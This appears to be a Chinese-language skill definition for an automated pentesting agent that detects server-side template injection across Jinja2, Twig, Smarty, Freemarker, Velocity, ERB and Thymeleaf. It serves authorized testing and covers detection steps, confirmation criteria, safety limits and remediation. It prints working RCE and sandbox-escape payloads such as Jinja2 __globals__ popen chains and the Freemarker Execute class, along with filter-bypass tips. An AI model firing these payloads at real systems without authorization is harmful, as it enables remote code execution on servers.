name: ssti-testing
description: >-
服务端模板注入(SSTI)多引擎综合检测——分诊 Jinja2 / Twig / Smarty / Freemarker / Velocity / Mustache 等模板引擎,覆盖表达式求值回显 / 沙箱逃逸 / RCE / 带外通道。
流量中用户输入流入模板渲染、响应回显数学运算结果(如 {{7*7}} → 49)、错误信息含模板引擎关键字、404 / error 页回显用户路径名时使用。
when-to-use: 当用户输入出现在模板渲染结果中(个性化内容、邮件模板、动态页面生成),可能命中 Jinja2/Twig/Freemarker/Velocity 等模板引擎时
allowed-tools: bash,read_file,list_files,rg
user-invocable: false
SSTI:服务端模板注入多引擎综合检测(黑盒)
1. 触发线索 / 适用信号
以下是已知的 SSTI 触发线索,作为基线起点而非必检硬清单。结合流量与响应特征动态调整:
- 适用且已完成 →
[x] done - 明确不适用 →
[-] n/a (原因)(原因要具体到响应特征) - 基线未列出但实际发现 →
[+] added (来源)
响应特征命中信号(漏洞-specific):
- 数学表达式被求值并回显(
{{7*7}}→49、${7*7}→49、<%=7*7%>→49、{7*7}→49) - 错误响应含模板引擎栈帧关键字(
jinja2.exceptions/TwigError/freemarker.core/velocity.runtime/Smarty) - 404 / error 页将用户提交的路径名 / 参数原样作为模板片段渲染(
?name={{7*7}}在错误页里出现49) - 用户提交字符串中的模板分隔符(
{{ }}/${ }/<% %>)被剥离或替换 → 表明已进入模板解析阶段
入口类型粗筛(仅作类似场景示例 不限于此):
- 模板渲染接口:
/templates/render//preview形态,直接接受用户模板源码 - 邮件 / 站内信 / 短信模板:用户可定制的邮件正文 / 主题
- 报表 / PDF 生成:用户可控的报表模板片段
- 个性化页面:昵称 / 签名 / 个人主页 / 欢迎语等模板变量被反写进渲染上下文
- 错误页 / 自定义错误信息:参数值被渲染到错误模板中
- 营销创意 / CMS 富文本:用户输入嵌入模板源码而非作为模板数据
业务命名(如 template / markup / body_template)只作粗筛根据——sink 语义相同就属此范围。JSON body 任一字段都是 SSTI 候选,不限于"看起来像模板"的字段名;具体参数位置由 HAR 实际请求推导,不在此预设清单。
2. 造成原因
source 是任何用户可控输入(query / body / header / cookie / 路径参数 / 已入库再回读的字段)。sink 是模板解析上下文:Jinja2.Template(s).render() / Twig_Environment::createTemplate($s) / freemarker.template.Template(new StringReader(s)) / velocity.evaluate(...) / Smarty display(string:s) / Go html/template.Parse(s) / ERB ERB.new(s).result 等任何把字符串当作模板源码解析的引擎。
任何 source 未经"作为模板数据"绑定就被作为模板源码解析,即构成 SSTI——攻击者控制的字符串改变了模板表达式语法树。模板引擎将其中的表达式求值并执行,从单纯的字符串变成可执行的代码上下文。安全做法是把用户输入作为变量值(context data)而非模板源码本身。
与 XSS 的关键区别:XSS 是模板输出未转义的 HTML 字符(数据流出),SSTI 是模板解析字符串中的表达式(数据被当成代码)。同一形态可能既是 XSS 又是 SSTI 候选——sink 语义不同需独立判定。
沙箱不是免疫层:模板引擎沙箱(Jinja2 SandboxedEnvironment / Twig SandboxExtension / Velocity SecureUberspector)阻止 RCE 但不消除注入——表达式仍可求值、上下文对象仍可枚举、信息泄露 / DoS 通道仍存在;且沙箱本身常被逃逸(魔术属性链 / 反射 / 类层级遍历)。
3. 响应信号映射
列出 SSTI 黑盒可观测的响应通道集合(observation-channel)——攻击效果可被黑盒探测的侧信道。输入位置(query / body / header / cookie / path 等本漏洞典型 source)从 HAR 实际请求推导,本节不预设清单。
响应观察通道集合(observation-channel):
arith-echo:数学表达式求值结果回显({{7*7}}→49等同构信号)error-engine-echo:模板引擎栈帧 / 异常类名回显到响应object-enum:上下文对象 / 类层级 / 属性枚举可见(如{{config}}/{{self.env}}输出对象 dump)file-read:通过模板表达式读取本地文件(__import__('os').open(...)等)cmd-echo:通过模板表达式执行 OS 命令且回显结果(popen('id').read())oob-dns/oob-http:带外通道触发(无回显时由模板表达式发起 DNS / HTTP 请求)secondary-readback:二阶 SSTI 在另一端点回读时触发解析sandbox-confined:表达式求值生效但被沙箱限制无 RCE(仍属 confirmed medium)
4. 常见类型
| 类型 | 触发条件 | 响应特征 | 适用引擎 |
|---|---|---|---|
| Jinja2 表达式注入 | {{ }} / {% %} 分隔符被解析 |
{{7*7}} → 49;{{7*'7'}} → 7777777(Python 字符串乘法) |
Python Jinja2 / Flask |
| Twig 表达式注入 | {{ }} 分隔符被解析 |
{{7*7}} → 49;{{7*'7'}} → 49(数值乘法) |
PHP Twig / Symfony |
| Smarty 表达式注入 | { } 分隔符被解析 |
{7*7} → 49;{$smarty.version} 暴露版本 |
PHP Smarty |
| Freemarker 表达式注入 | ${ } / <#assign> 被解析 |
${7*7} → 49;<#assign ex="freemarker.template.utility.Execute"?new()> |
Java Freemarker |
| Velocity 表达式注入 | #set / $ 被解析 |
#set($x=7*7)$x → 49;$class.inspect("java.lang.Runtime") |
Java Velocity |
| Mustache / Handlebars 注入 | {{ }} 分隔符被解析 |
多数引擎为 logic-less 仅信息泄露;Handlebars {{#with}} 可触发原型链 |
JS Handlebars / Mustache |
| ERB / Slim 注入 | <%= %> 被解析 |
<%=7*7%> → 49;<%= system('id') %> 直接 RCE |
Ruby ERB |
| Pebble / Thymeleaf 注入 | {{ }} / [[${ }]] 被解析 |
[[${7*7}]] → 49;Thymeleaf SpringEL T(java.lang.Runtime) |
Java Pebble / Thymeleaf |
| Go html/template 注入 | {{ }} 分隔符 + Parse(userInput) |
内置函数有限;沙箱内枚举 printf / index / slice 仍属注入 |
Go html/template |
| 客户端模板注入(AngularJS) | {{ }} 在前端被 $compile 解析 |
{{constructor.constructor('alert(1)')()}} 弹窗 |
AngularJS 1.x |
| 二阶 SSTI | 入库时不解析,回读时进入模板 | 用户昵称含 {{7*7}},admin 端列表渲染时解析 |
全部 |
| OOB(带外) | 表达式求值但响应无回显 | 通过表达式发起 DNS / HTTP 请求到攻击者域名 | Jinja2 / Freemarker / Velocity |
5. 侦察输入
按以下方式从侦察输出中筛 SSTI 候选:
从 HAR / 端点账本:
- 端点路径含
/render//preview//template//welcome//email//notify//report//pdf - 参数名含
template/body_template/markup/content/message/subject/name/greeting/signature - 响应里曾出现过模板引擎错误关键字(
jinja2/Twig/Freemarker/Velocity/Smarty) - POST / PUT 端点的 body 全字段(JSON / form 各字段都是候选,包括嵌套对象字段)
- 路径参数被回显到 404 / error 页(典型如 Flask
/<name>模式)
从业务场景(由 page-analysis 输出):
下列业务场景仅作类似场景示例 不限于此;以
page-analysis实际输出为准。
- SaaS:邮件 / 通知 / 站内信模板定制;自定义报表
- 营销 / CMS:广告创意模板、落地页生成、富文本编辑器
- 客服 / 工单:自动回复模板、动态填充用户数据
- 论坛 / 社区:用户签名、个人主页、欢迎语
- 运维 / DevOps:告警通知模板、CI/CD 流水线模板渲染
从身份切换 HAR 对比:
- 普通用户 / 管理员两份 HAR 里仅在管理员端出现的模板渲染端点是高价值候选(admin 端常有"自定义邮件模板""通知模板配置"等更高权限的解析能力)
- 跨子系统的同名
/render//preview端点每个独立测,不假设"在 A 测过 B 也安全"
从静态资源回显:
- 404 / 500 错误页是否将 URL 路径段渲染回 body(Flask、Express 等框架常见)
- 上传文件名是否被回显到下载列表 / 错误提示 / 邮件通知中
业务命名(如"模板""内容""消息")只作粗筛——sink 语义相同就是候选,JSON body 任一字段都是 SSTI 候选,不限于"看起来像模板"的字段名。
6. 框架 / 模板引擎响应指纹
通过响应(错误关键字 / header / 求值差异 / 行为)推断后端模板引擎 / 框架 / 沙箱模式,优化 payload 选择。
模板引擎响应指纹
| 响应特征 | 推断引擎 | payload 选择 |
|---|---|---|
{{7*'7'}} → 7777777(Python 字符串乘法) |
Jinja2 / Mako | 用 {{config.__class__.__mro__}} 探测沙箱、{{ ''.__class__.__mro__[1].__subclasses__() }} 提取类 |
{{7*'7'}} → 49(数值乘法) |
Twig | 用 {{_self.env}} / {{['id']|filter('system')}} |
{7*7} → 49,{$smarty.version} 回显版本 |
Smarty | 用 {php}phpinfo();{/php}(旧版)/ {Smarty_Internal_Write_File::writeFile(...)} |
${7*7} → 49,错误页含 freemarker.core.ParseException |
Freemarker | 用 <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} |
#set($x=7*7)$x → 49,错误含 org.apache.velocity |
Velocity | 用 $class.inspect("java.lang.Runtime").type.getMethod("exec",...) |
<%=7*7%> → 49,错误含 (erb) |
ERB / Ruby | 用 <%= system('id') %> / <%= IO.popen('id').read %> |
[[${7*7}]] → 49,错误含 org.thymeleaf |
Thymeleaf | 用 SpringEL [[${T(java.lang.Runtime).getRuntime().exec('id')}]] |
错误含 jinja2.exceptions.TemplateSyntaxError |
Jinja2 | 同上 |
错误含 Twig\Error\SyntaxError |
Twig | 同上 |
错误含 freemarker.core.ParseException |
Freemarker | 同上 |
{{constructor.constructor('alert(1)')()}} 弹窗(前端) |
AngularJS 1.x | 客户端模板注入,区别于服务端 |
框架响应指纹
| 响应特征 | 推断框架 | 默认模板引擎 |
|---|---|---|
Server: gunicorn / Werkzeug debugger |
Flask / Django | Jinja2 / DTL |
X-Powered-By: Symfony / Set-Cookie: symfony |
Symfony | Twig |
Server: nginx + Spring 栈帧 |
Spring Boot | Thymeleaf / Freemarker |
X-Powered-By: Express |
Node.js Express | EJS / Pug / Handlebars |
Set-Cookie: PHPSESSID + WordPress / Laravel 标记 |
PHP | Blade / Twig / Smarty |
Server: gin / Go 栈帧 |
Go gin / echo | html/template / pongo2 |
沙箱与防护响应指纹
| 响应特征 | 推断 | 绕过方向 |
|---|---|---|
{{config}} 返回空 / 异常但 {{7*7}} 仍求值 |
Jinja2 SandboxedEnvironment | 走 lipsum.__globals__ / cycler.__init__.__globals__ |
{{['id']|filter('system')}} 被阻断但 {{7*7}} 求值 |
Twig SandboxExtension | 找未注册到黑名单的 filter / 函数 |
${"freemarker.template.utility.Execute"?new()} 被阻断 |
Freemarker Configuration.setAPIBuiltinEnabled(false) 或 sandbox |
找新增的可达类(ObjectConstructor 等) |
表达式输出被实体编码({{7*7}}) |
仅 XSS 防护,无 SSTI 解析 | 排除 SSTI,转 XSS 路线 |
响应指纹仅作辅助判断——真实的 sink 验证仍需在 §9 闭环要求章节定义的可观测效果证据。
7. 思考检查点
加载本 skill 时按这些问题思考:
- 这个参数在 HAR 里出现在哪个位置?响应里有没有可观察的表达式求值回显或差异通道?
- 同端点其他参数是否走同一段模板渲染模板?(同模板下其他字段往往是候选)
- 响应里有模板引擎错误关键字吗?没有的话,能否用沙箱内对象枚举 / 带外 / 数值差分作为侧信道?
- 这个字段是被当作模板源码解析,还是只作为模板数据填入?(前者 SSTI,后者 XSS)
- 沙箱是否启用?沙箱限制 RCE 不等于无漏洞——表达式可求值即已 confirmed(medium 起判)
- 是不是二阶?这个参数会被入库吗?后续哪些端点会回读它进入模板上下文?
- 跨子系统是否有同形态的
/render//preview端点?(admin 端常复用普通端模板代码)
8. 检测方法论 / 决策树
全局约束(默认保守预算)
- 单参数最多 15 次请求(含基线 / 多引擎探测 / 重试);同一轮只改 1 个参数
- 探测阶段仅使用数学表达式(
{{7*7}}等),不执行系统命令;命令仅在确认引擎后用无害命令(id/hostname)演示 - 并发建议 1;抖动大时加重试而非加并发
- 一旦"确认"立即停止进一步利用探测,沙箱逃逸 / RCE 评估按需小步推进
Step 0:基线采集
- 发送原始请求 2-3 次,记录"基线响应特征"
- 标记并忽略动态字段(时间戳 / 随机 ID / sessionToken)
- 确认参数值在响应中原样回显的位置——SSTI 必须存在回显或副作用通道才能观测
Step 1:多引擎表达式探测
发送各引擎的标志性表达式,观察是否被求值:
| 引擎候选 | 探测 payload | 命中信号 |
|---|---|---|
| Jinja2 / Twig / Pebble / Handlebars | {{7*7}} |
响应回显 49 |
| Smarty | {7*7} |
响应回显 49 |
| Freemarker / Thymeleaf | ${7*7} |
响应回显 49 |
| Velocity | #set($x=7*7)$x |
响应回显 49 |
| ERB / Slim / EJS | <%=7*7%> |
响应回显 49 |
| Thymeleaf 转义模式 | [[${7*7}]] |
响应回显 49 |
对照 payload(防偶然命中):发送 {{8*8}} / ${8*8} 等,回显应变为 64——若两个表达式都映射到同一固定值,则非 SSTI 而是字符串过滤异常。
Step 2:引擎差异化指纹
按 §6 响应指纹表识别具体引擎。关键差异化探针:
{{7*'7'}}:Jinja2 →7777777(Python 字符串乘法);Twig →49(数值乘法)${7*7}命中但<#assign>不可用 → 可能是 Thymeleaf 而非 Freemarker{$smarty.version}回显版本号 → 确认 Smarty 并取版本
结论标注置信度(high / medium / low)。
Step 3:策略决策树
表达式被求值且响应回显结果? → 走对象枚举 / RCE 链
表达式被求值但响应无回显? → 沙箱内 OOB(DNS / HTTP)
错误响应含模板栈帧但无求值结果? → 报错型 SSTI(信息泄露,suspected→确认)
分隔符被剥离 / 替换但保留其他字符? → 已进入解析阶段(suspected→换分隔符再试)
完全原样回显或被实体编码? → 排除 SSTI(可能 XSS)
Step 4:利用确认(仅在授权范围内)
根据识别的引擎,使用对应的链确认能力范围:
| 引擎 | 沙箱外 RCE | 沙箱内信息泄露 |
|---|---|---|
| Jinja2 | {{config.__class__.__init__.__globals__['os'].popen('id').read()}} |
{{lipsum.__globals__.os.popen('id').read()}} / {{cycler.__init__.__globals__.os.popen('id').read()}} |
| Twig | {{['id']|filter('system')}} / {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}} |
{{_self.env}} dump 配置 |
| Smarty | {php}system('id');{/php}(旧版) / {Smarty_Internal_Write_File::writeFile('/tmp/x','x',$smarty)} |
{$smarty.version} / {$smarty.template} |
| Freemarker | <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} |
<#assign value="freemarker.template.utility.ObjectConstructor"?new()> |
| Velocity | #set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("exec",$e.getClass()).invoke(...) |
$class.inspect("java.lang.Runtime") |
| ERB | <%= system('id') %> / <%= IO.popen('id').read %> |
<%= self.class %> |
| Go html/template | 沙箱内通常无 RCE;枚举内置函数集(printf/index/slice/html/js/urlquery/eq) |
{{.}} / {{printf "%#v" .}} 暴露上下文 |
| Thymeleaf | [[${T(java.lang.Runtime).getRuntime().exec('id')}]](SpringEL) |
[[${session}]] / [[${request}]] |
Step 5:确认 + 防误报
- 强证据(满足其一即 confirmed):表达式求值结果稳定回显(
{{7*7}}→49且{{8*8}}→64);沙箱内对象枚举返回非空 dump;带外通道收到明确归属本注入的请求;执行两个不同命令(如id/hostname)输出均可控 - 弱证据(需两类同时满足才升 confirmed):错误响应含模板栈帧 + 分隔符被剥离 / 替换;单次求值命中但未稳定复现 + 引擎指纹一致
- 拒绝条件:单次 500 / 单次模板报错 / payload 字符在响应里但数值未被求值——一律 suspected;分隔符被实体编码(
{)→ not vulnerable(仅 XSS 路径)
Payload 范式与编码绕过
- WAF 关键字过滤(
__class__/config)→ 用属性访问的等价写法(['__class__']/attr('__class__')等) - 分隔符过滤(
{{ }}被剥)→ 试其他分隔符({% %}/{# #})或自定义分隔符配置探测 - 字符串过滤(引号被禁)→ 用
request.args.x间接获取 / 字符 chr 拼接 - 长度限制 → 多步分散在多请求(
{% set x = ... %}跨片段不可行,需找单包 payload 范式) - 输出被 HTML 转义但表达式仍求值 → 仍属 confirmed(求值已发生),危害分级看是否可触发副作用
基线检查项(按 §4.3 三态标注)
- 单参数所有候选位置(query / body / header / cookie / path)都过了 Step 0-1
- 多引擎分隔符全覆盖(至少 Jinja2 / Twig / Smarty / Freemarker / Velocity / ERB 六类)
- 同端点其他参数同步分诊
- 二阶通道:从入库端点追到回读端点是否进入模板渲染
- 错误页 / 404 是否将路径参数渲染为模板片段
9. 闭环要求(必须遵守)
闭环判定(confirmed / suspected / not_vulnerable)以
common/closure-verification.md为准。下面只列本漏洞特有的可观测信号。
confirmed(必须挂可观测效果证据):
- 表达式求值回显:
{{7*7}}→49与{{8*8}}→64都稳定可复现,且不带 payload 时响应里不出现49/64 - 沙箱内对象枚举:
{{config}}/{{_self.env}}/{{.}}等输出非空对象 dump,沙箱限制 RCE 但表达式求值生效仍判 confirmed (medium) - 沙箱外 RCE:执行两个不同无害命令(如
id/hostname),输出均可控且与命令语义匹配 - OOB:带外通道(DNS / HTTP)收到明确归属本注入的请求,含时间戳和唯一 token
- 二阶 SSTI:入库字段在回读端点被解析(如 admin 列表页渲染包含
{{7*7}}的昵称时回显49)
suspected(落 status=needs_review):
- 单次求值命中(未稳定复现)
- 错误响应仅到"模板语法错误"层级,未拿到任何求值结果或对象 dump
- 分隔符被剥离 / 替换但未观察到求值结果
- payload 字符出现在响应里但数值未变化(可能仅字符串回显,非求值)
not_vulnerable(落 status=not_vulnerable):
- 输入被完整实体编码(
{{→{{)且无任何引擎差异化探针被求值 - 该端点不接触模板引擎(静态资源 / 纯 JSON 序列化输出 / 健康检查)
- 同模板下所有 source 字段均作为模板数据(context value)绑定(来自 graybox 流程的白盒证据)
禁止仅凭"payload 字符在响应里""响应 500""错误信息含 template 字样"判 confirmed——这些只到 suspected。沙箱限制 RCE 不等于无漏洞:只要表达式被求值,已属 confirmed(medium),附沙箱绕过评估。
反例义务(必须遵守)
why:反例义务属于交付契约——"该子系统无 SSTI"或"已防护"结论是覆盖完整性的产物声明,缺失反向验证清单会让下游误信"该维度全站安全"。模板引擎种类多、分隔符差异大,缺失多引擎覆盖会让漏报集中在小众引擎上。
写"未发现 SSTI"或"已防护"前,产物必须包含:
- 测过的 SSTI 候选端点完整清单(按 sink 语义枚举,所有触发线索类别都覆盖:
/render/ 邮件 / 报表 / 个性化 / 错误页 / 路径回显 / 二阶 等) - 每端点测过的引擎分隔符类型(Jinja2
{{}}/ Smarty{}/ Freemarker${}/ Velocity#set$/ ERB<%=%>/ Thymeleaf[[${}]]至少六类) - 每端点的响应证据(基线响应 / payload 响应 / 求值结果 / 沙箱限制证据 / 内置对象枚举结果)
清单不完整 → 结论降级为 partial-coverage 并显式声明未覆盖范围。
10. 具象化反例库
FP(看似命中实际不构成)
反例 1:payload 字符在响应里但数值未求值
- 抽象规则:字符回显 ≠ 表达式求值
- 具体场景:请求
?name={{7*7}},响应回显Hello, {{7*7}},字面值原样输出 - 关键识别特征:响应中
{{7*7}}完整保留,未变成49 - 排除方法:换
{{8*8}}看是否回显64;若仍原样回显,则参数只作为字符串拼接进 HTML(可能是 XSS 候选,不是 SSTI)
反例 2:分隔符被实体编码
- 抽象规则:HTML 实体编码 ≠ 模板解析
- 具体场景:响应里
{{7*7}}变成{{7*7}} - 关键识别特征:响应中分隔符被实体化,浏览器视觉上仍是
{{7*7}}但 HTML 层是实体 - 排除方法:用其他分隔符(
${ }/<%= %>)测;都未求值且都被编码 → not vulnerable
反例 3:响应 500 含模板栈帧但无任何求值
- 抽象规则:模板栈帧 ≠ SSTI confirmed
- 具体场景:响应 500,body 含
jinja2.exceptions.TemplateNotFound: foo - 关键识别特征:是"模板未找到"类异常,不是用户输入触发的语法错误
- 排除方法:删 payload 看是否仍 500;可能是服务端自身模板路由问题,与本参数无关
FN(看似不命中实际是真洞)
反例 4:沙箱限制 RCE 被误判 not_vulnerable
- 抽象规则:沙箱阻止 RCE 不等于无 SSTI
- 具体场景:
{{7*7}}求值为49,但{{config.__class__}}报SecurityError - 关键识别特征:表达式可求值 + 危险属性被沙箱拦截
- 确认方法:求值生效本身已是 confirmed (medium);继续找沙箱外可达的对象(
lipsum/cycler/range),评估沙箱绕过可能性
反例 5:JSON body 字段被忽略的 SSTI 候选
- 抽象规则:JSON body 字段每个都是候选,不能只测顶层可见字段
- 具体场景:POST
/api/notifybody 含{"recipient": "...", "subject": "...", "body": "..."},body 字段被作为邮件模板渲染 - 关键识别特征:HAR 里 POST body 字段未在 query string 出现,但响应或带外(邮件送达后)能观察求值
- 确认方法:JSON body 每个字段单独 fuzzing
{{7*7}}/${7*7}等,参考 Step 1 多引擎探测
反例 6:路径参数被错误页渲染
- 抽象规则:404 错误页常将 URL 路径段作为模板片段渲染
- 具体场景:访问
/user/{{7*7}}返回 404,body 含User 49 not found - 关键识别特征:路径段中的表达式被求值后嵌入错误页
- 确认方法:用
/user/{{8*8}}验证64;再做引擎差异化探针确认
易混淆案例
反例 7:客户端模板注入(CSTI)被误归为 SSTI
- 抽象规则:前端 AngularJS / Vue 模板引擎解析 ≠ 服务端 SSTI
- 具体场景:响应是静态 HTML,
{{7*7}}在浏览器中被 AngularJS$compile解析为49 - 关键识别特征:用
curl直接看响应里仍是{{7*7}};浏览器渲染后才变49 - 确认方法:禁用浏览器 JS 看是否仍求值;CSTI 风险等级 / 修复路径与 SSTI 不同,需单独记
反例 8:跨子系统隐式推广(漏报高发模式)
- 抽象规则:在子系统 A 测过 ≠ 子系统 B 也安全
- 具体场景:测了 user-portal 的
/templates/render未发现 SSTI,admin-portal 同名端点未测就推断安全 - 关键识别特征:不同子系统、不同团队、不同时期;admin 端常复用普通端模板代码但实现可能各异(沙箱配置不同 / 引擎版本不同)
- 确认方法:admin / user / 第三方接入端每个子系统独立做反例义务自检
11. 测试安全边界
破坏性 / 不可逆动作的闭环边界以
common/closure-verification.md《破坏性 / 不可逆动作的闭环边界》节为准。下面只列 SSTI 特有的破坏点。
禁止对真实业务执行以下动作来"挂可观测效果":
system('rm -rf ...')/popen('shutdown ...')类破坏性命令- 通过模板表达式写文件覆盖业务文件(
Smarty_Internal_Write_File::writeFile/ Freemarker 文件写入 API) - 通过模板表达式调用业务逻辑(如
{{user.delete()}}风格的上下文方法调用) - 通过 SSTI 读取并外传业务敏感数据(密钥 / token / 配置文件中的连接串)—— 演示读取可,但不外传不留底
允许的非破坏验证手段:
- 数学求值探针:
{{7*7}}/${7*7}/<%=7*7%>等无副作用算术,配合对照值({{8*8}})防误报 - 无害命令演示:
id/hostname/whoami/pwd等只读命令,确认 RCE 能力即停 - 沙箱内对象枚举:
{{config}}/{{_self.env}}/{{.}}等只读 dump,记录"可读到什么"但不外传内容 - 带外通道:DNS / HTTP OOB(不修改目标状态)
- 哨兵自证:建测试模板 / 测试上下文,仅对哨兵执行破坏性表达式
12. 修复建议
源头治理(首选)
- 不将用户输入作为模板源码:用户输入作为模板变量值(context data)传入预定义模板:
- Jinja2:
Template(static_template).render(user_input=value)而非Template(user_input).render() - Twig:
$twig->render($predefined, ['data' => $user_input])而非createTemplate($user_input)->render() - Freemarker:用预定义
.ftl文件 +Configuration.getTemplate(name),禁止new Template(name, new StringReader(user_input), cfg) - Go html/template:用静态
.tmpl文件 +template.ParseFiles,禁止template.New("").Parse(userInput)
- Jinja2:
- 客户端模板(AngularJS):使用
$sce服务标记可信内容;避免在ng-bind-html中传入用户输入
沙箱模式(次选,深度防御)
- Jinja2:
SandboxedEnvironment+ 移除危险全局(lipsum/cycler在严格场景下要 patch) - Twig:
SandboxExtension+SecurityPolicy显式白名单 tags / filters / functions / methods - Freemarker:
Configuration.setAPIBuiltinEnabled(false)+ 自定义ObjectWrapper限制可达类 - Velocity:
SecureUberspector+ 移除RuntimeInstance类的反射访问
沙箱不是免疫层:表达式求值生效本身已构成 SSTI(信息泄露 / DoS 风险);沙箱仅减少利用面,不能替代源头治理。
边界过滤(仅作辅助)
- WAF 规则覆盖常见 payload(
{{/}}/${/#set/<%=/__class__等关键字)——仅作辅助,不替代源头治理 - 应用层拒绝模板分隔符——易绕过(自定义分隔符 / 编码绕过),仅作日志记录与告警触发
兜底拒绝
- 模板渲染进程最小权限:禁止文件系统写、限制网络出向
- 错误响应不暴露模板栈帧(生产环境关闭 debug 模式 / 详细错误页)
- 二阶字段在回读到模板上下文前重新做白名单过滤,不复用入库时的"已校验"假设